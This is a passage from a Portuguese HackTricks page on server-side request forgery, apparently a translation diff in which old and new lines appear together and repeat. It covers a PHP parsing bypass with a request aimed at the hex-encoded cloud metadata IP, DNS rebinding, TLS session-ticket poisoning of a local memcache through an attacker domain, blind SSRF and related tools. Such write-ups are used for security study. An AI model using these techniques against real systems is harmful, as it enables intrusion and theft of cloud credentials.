O PHP permite o uso do **caractere `*` antes de uma barra na URL**, no entanto, possui outras limitações, como só poder ser usado para o caminho raiz `/` e que pontos `.` não são permitidos antes da primeira barra, sendo necessário usar um endereço IP codificado em hexadecimal sem pontos, por exemplo:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## Bypass de CORS/SOP com DNS Rebidding
Se você está tendo **problemas** para **extrair conteúdo de um IP local** devido ao **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** devido ao **CORS/SOP**, o **DNS Rebidding** pode ser usado para contornar essa limitação:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
@ -221,7 +293,7 @@ Se você está tendo **problemas** para **extrair conteúdo de um IP local** dev
### DNS Rebidding Automatizado
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para vincular o endereço IP do servidor de ataque ao nome DNS da máquina de destino e para servir payloads de ataque para explorar software vulnerável na máquina de destino.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para redefinir o endereço IP do servidor de ataque para o nome DNS da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
Confira também o **servidor em execução publicamente em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
@ -235,36 +307,36 @@ Requisitos:
Ataque:
1. Peça ao usuário/bot para **acessar** um **domínio** controlado pelo **atacante**
2. O **TTL** do **DNS** é de **0** segundos (para que a vítima verifique o IP do domínio novamente em breve)
1. Solicitar ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz o **payload dentro** do **ID de Sessão ou Ticket de Sessão**.
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (por exemplo, 127.0.0.1)
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, ele **enviará** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
5. Na solicitação DNS, um endereço de **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
6. O usuário/bot tentará **restabelecer a conexão TLS** e para fazer isso ele irá **enviar** o ID de **Sessão ou Ticket de Sessão** (onde o **payload** do atacante estava contido). Parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
Durante esse ataque, se você deseja atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
Durante esse ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
Para **realizar esse ataque, você pode usar a ferramenta**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Para **mais informações**, confira a palestra onde esse ataque é explicado: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## SSRF Cego
A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar, pois você só poderá explorar vulnerabilidades conhecidas.
A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Portanto, é mais difícil de explorar porque você só poderá explorar vulnerabilidades conhecidas.
### SSRF baseado em tempo
### SSRF Baseado em Tempo
**Verificando o tempo** das respostas do servidor, pode ser **possível saber se um recurso existe ou não** (talvez leve mais tempo para acessar um recurso existente do que acessar um que não existe)
## Exploração de SSRF na Nuvem
Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução em um ambiente de nuvem, pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
Se você encontrar uma vulnerabilidade de SSRF em uma máquina em execução dentro de um ambiente de nuvem, você pode obter informações interessantes sobre o ambiente de nuvem e até mesmo credenciais:
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}
## Plataformas Vulneráveis a SSRF
## Plataformas Vulneráveis ao SSRF
Várias plataformas conhecidas contêm ou contiveram vulnerabilidades de SSRF, verifique-as em:
Várias plataformas conhecidas contêm ou já contiveram vulnerabilidades de SSRF, verifique-as em:
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
@ -297,7 +369,7 @@ _remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Forgery de Solicitação do Lado do Servidor (SSRF).
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente por meio de servidores HTTP vulneráveis a Solicitação de Servidor-Side Forgery (SSRF).
### Para praticar
@ -308,15 +380,16 @@ SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o t
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -326,7 +399,7 @@ Outras maneiras de apoiar o HackTricks:
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}